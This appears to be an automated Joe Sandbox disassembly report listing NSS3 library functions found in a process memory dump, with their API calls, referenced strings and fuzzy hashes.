%s/%s, xrefs: 6C7C6055
secmod.db, xrefs: 6C7C5EA0
forceSecmodChoice, xrefs: 6C7C5F55
secmod=, xrefs: 6C7C5FB1
noModDB, xrefs: 6C7C5EEA
configDir=, xrefs: 6C7C5F9D
readOnly, xrefs: 6C7C5E56

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 4672eee75f36da63fbd962eb3cd5d04d9371ee99d2f5014e5be659396e616f09
Instruction ID: 2db01f33ebab831adc572a13f5808b91dcb1bee775ec3f6cfcb2affc6b276c2e
Opcode Fuzzy Hash: 4672eee75f36da63fbd962eb3cd5d04d9371ee99d2f5014e5be659396e616f09
Instruction Fuzzy Hash: D291F9F0B042425FEB509F28AE85BAA3BA89F0534CF080470EC55ABB42E736D545D7A3

Function 6C751D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C751DA3

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C751DB2

Part of subcall function 6C751240: TlsGetValue.KERNEL32(00000040,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751267
Part of subcall function 6C751240: EnterCriticalSection.KERNEL32(?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C75127C
Part of subcall function 6C751240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751291
Part of subcall function 6C751240: PR_Unlock.NSS3(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C7512A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C751DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C751E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C751EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C751ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C751EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C751F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C751F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C751F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C751F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C751F83
PR_SetLogFile.NSS3(00000000), ref: 6C751FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C751FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C751FCB
free.MOZGLUE(00000000), ref: 6C751FD2

Strings

%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C751E27
, %n, xrefs: 6C751E6B
all, xrefs: 6C751F0E
sync, xrefs: 6C751E46
append, xrefs: 6C751EE6
Unable to create nspr log file '%s', xrefs: 6C751FB3
NSPR_LOG_MODULES, xrefs: 6C751DAD
NSPR_LOG_FILE, xrefs: 6C751F69
bufsize, xrefs: 6C751E9B
timestamp, xrefs: 6C751EC4

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 5d4939204ac6a900a1242e8231e8521ab77cdf58b6eacbcfe66debcfb46a428a
Instruction ID: eabb38b0b223b05a9b611701a7e74f980d24eff961fdba950960b040e71e293d
Opcode Fuzzy Hash: 5d4939204ac6a900a1242e8231e8521ab77cdf58b6eacbcfe66debcfb46a428a
Instruction Fuzzy Hash: EA51A0B1E002099BDF10DFE4DE48A9E77B8AF0130EF880538E815DB641EB75D568CB91

Function 6C836E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C74F9C9,?,6C74F4DA,6C74F9C9,?,?,6C71369A), ref: 6C6ECA7A
Part of subcall function 6C6ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ECB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C6FBE66), ref: 6C836E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C6FBE66), ref: 6C836E98
sqlite3_snprintf.NSS3(?,00000000,6C89AAF9,?,?,?,?,?,?,6C6FBE66), ref: 6C836EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C6FBE66), ref: 6C836ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C6FBE66), ref: 6C836EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C6FBE66), ref: 6C836FA6
sqlite3_snprintf.NSS3(?,00000000,6C89AAF9,00000000,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C836FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C837014
sqlite3_free.NSS3(00000000,?,?,?,?,6C6FBE66), ref: 6C83701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C6FBE66), ref: 6C837030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C6FBE66), ref: 6C83705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C6FBE66), ref: 6C837079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C837097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C6FBE66), ref: 6C8370A0

Strings

winGetTempname1, xrefs: 6C83708F
winGetTempname2, xrefs: 6C8370C4
mz_etilqs_, xrefs: 6C836F18
winGetTempname4, xrefs: 6C837046
winGetTempname5, xrefs: 6C837071

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 83155392ff9d8f710c2088d46037bc38876399496ba33cba5a94a1c67c4b64a3
Instruction ID: 79e8b023551fa11266f45b4094bfff9856427a1b81038cd78a8010ea3092d480
Opcode Fuzzy Hash: 83155392ff9d8f710c2088d46037bc38876399496ba33cba5a94a1c67c4b64a3
Instruction Fuzzy Hash: 00518BA1A051206BE33056789E55BFF36669F8330CF146D38E90996BC2FB25950E82E6

Function 6C7C4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4C5B
PR_smprintf.NSS3(6C89AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7B4F51,00000000), ref: 6C7C4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C7C4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C7C4DA2
free.MOZGLUE(?), ref: 6C7C4DB9
free.MOZGLUE(00000000), ref: 6C7C4DCF

Strings

rust, xrefs: 6C7C4D22
%s,%s, xrefs: 6C7C4C4B
0x%08lx=[%s %s], xrefs: 6C7C4D80
timeout, xrefs: 6C7C4C91
any, xrefs: 6C7C4C96
rootFlags, xrefs: 6C7C4D47
ootT, xrefs: 6C7C4D1A
slotFlags, xrefs: 6C7C4D34
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C7C4D9D
every, xrefs: 6C7C4CA1

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: ed8f09f0d96bc32920fcd0614a305d8c791e6fbd1131ace1768c421e190127bb
Instruction ID: 1e4962c723c4962424fda79f3db56e01d4da4ffa43a417055d1a5975808ef378
Opcode Fuzzy Hash: ed8f09f0d96bc32920fcd0614a305d8c791e6fbd1131ace1768c421e190127bb
Instruction Fuzzy Hash: 13417BB1A001426FDB316F189E49ABE3675AF8235CF584534EC0A1BB02E735D818D7E3

Function 6C7A6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7A6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C7A6943
Part of subcall function 6C7A6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C7A6957
Part of subcall function 6C7A6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C7A6972
Part of subcall function 6C7A6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C7A6983
Part of subcall function 6C7A6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7A69AA
Part of subcall function 6C7A6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7A69BE
Part of subcall function 6C7A6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7A69D2
Part of subcall function 6C7A6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7A69DF
Part of subcall function 6C7A6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C7A6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7A6D8C
free.MOZGLUE(00000000), ref: 6C7A6DC5
free.MOZGLUE(?), ref: 6C7A6DD6
free.MOZGLUE(?), ref: 6C7A6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7A6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6E72
free.MOZGLUE(?), ref: 6C7A6EA7
free.MOZGLUE(?), ref: 6C7A6EC4
free.MOZGLUE(?), ref: 6C7A6ED5
free.MOZGLUE(00000000), ref: 6C7A6EE3
free.MOZGLUE(?), ref: 6C7A6EF4
free.MOZGLUE(?), ref: 6C7A6F08
free.MOZGLUE(00000000), ref: 6C7A6F35
free.MOZGLUE(?), ref: 6C7A6F44
free.MOZGLUE(?), ref: 6C7A6F5B
free.MOZGLUE(00000000), ref: 6C7A6F65

Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7A781D,00000000,6C79BE2C,?,6C7A6B1D,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C40
Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7A781D,?,6C79BE2C,?), ref: 6C7A6C58
Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C6F
Part of subcall function 6C7A6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7A6C84
Part of subcall function 6C7A6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7A6C96
Part of subcall function 6C7A6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7A6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7A6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C7A6FF4

Strings

+`{l, xrefs: 6C7A6D0D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`{l
API String ID: 1304971872-2523902285
Opcode ID: 1ac989658fc5aa5362c437fe579d7758efeb04cb1e16c6fa8076a1e7293b99a5
Instruction ID: 1fd76be1ca829d8fb8770ea6bad4e30b07312bd7ea67b1f8894f5ee74c0fc23b
Opcode Fuzzy Hash: 1ac989658fc5aa5362c437fe579d7758efeb04cb1e16c6fa8076a1e7293b99a5
Instruction Fuzzy Hash: 32B171B1E052099FDF10CBE9DA45B9E7BB8BF09349F140234E814E7641E731EA06CBA1

Function 6C76DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C76DDDE

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C76DDF5

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C76DE34
PR_Now.NSS3 ref: 6C76DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C76DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C76DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C76DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C76DEF0
PR_smprintf.NSS3(6C89AAF9,(NULL) (Validity Unknown)), ref: 6C76DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C76DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C76DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C76DF33
free.MOZGLUE(00000000), ref: 6C76DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C76DF4B
free.MOZGLUE(00000000), ref: 6C76DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76DF8E

Strings

%s%s, xrefs: 6C76DEEB
(NULL) (Validity Unknown), xrefs: 6C76DEFA
{???}, xrefs: 6C76DE8B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: ac17c30bf189cb8e63de1cbf5aa446454287b52321fa1cfbb3e313021b071f05
Instruction ID: 1709c05228dee9a3e3f584d3195250569e4fbe6b3e84544cda75d3487a0011fe
Opcode Fuzzy Hash: ac17c30bf189cb8e63de1cbf5aa446454287b52321fa1cfbb3e313021b071f05
Instruction Fuzzy Hash: 3251B3B1E001055FDB109E6A9E45AAF7AB9AF95398F244438EC19E7B01E730D904CBE6

Function 6C7A2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C7A2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C7A2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C774F1C,?,-00000001,00000000,?), ref: 6C7A2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C774F1C,?,-00000001,00000000), ref: 6C7A2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7A2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7A2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7A2EF8
PR_Unlock.NSS3(?), ref: 6C7A2F62
TlsGetValue.KERNEL32 ref: 6C7A2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7A2F9E
PR_Unlock.NSS3(?), ref: 6C7A2FCA
TlsGetValue.KERNEL32 ref: 6C7A301A
EnterCriticalSection.KERNEL32(?), ref: 6C7A302E
PR_Unlock.NSS3(?), ref: 6C7A3066
PR_SetError.NSS3(00000000,00000000), ref: 6C7A3085
PR_Unlock.NSS3(?), ref: 6C7A30EC
TlsGetValue.KERNEL32 ref: 6C7A310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7A3124
PR_Unlock.NSS3(?), ref: 6C7A314C

Part of subcall function 6C789180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C7B379E,?,6C789568,00000000,?,6C7B379E,?,00000001,?), ref: 6C78918D
Part of subcall function 6C789180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C7B379E,?,6C789568,00000000,?,6C7B379E,?,00000001,?), ref: 6C7891A0

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

PR_SetError.NSS3(00000000,00000000), ref: 6C7A316D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 0f667793bf73b08df9ad99c7a87b9ea081f09377d756d72e168c427e57c72b43
Instruction ID: 53d3bc7e22422f64b72dd666918c925ffbcdf5169bf8663230e3837047475f82
Opcode Fuzzy Hash: 0f667793bf73b08df9ad99c7a87b9ea081f09377d756d72e168c427e57c72b43
Instruction Fuzzy Hash: DBF19FB1D006099FDF10DFA9D948A9EBBB4BF09318F144265EC04A7711E731E996CB91

Function 6C7A4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7A4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C7A4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4DB7

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
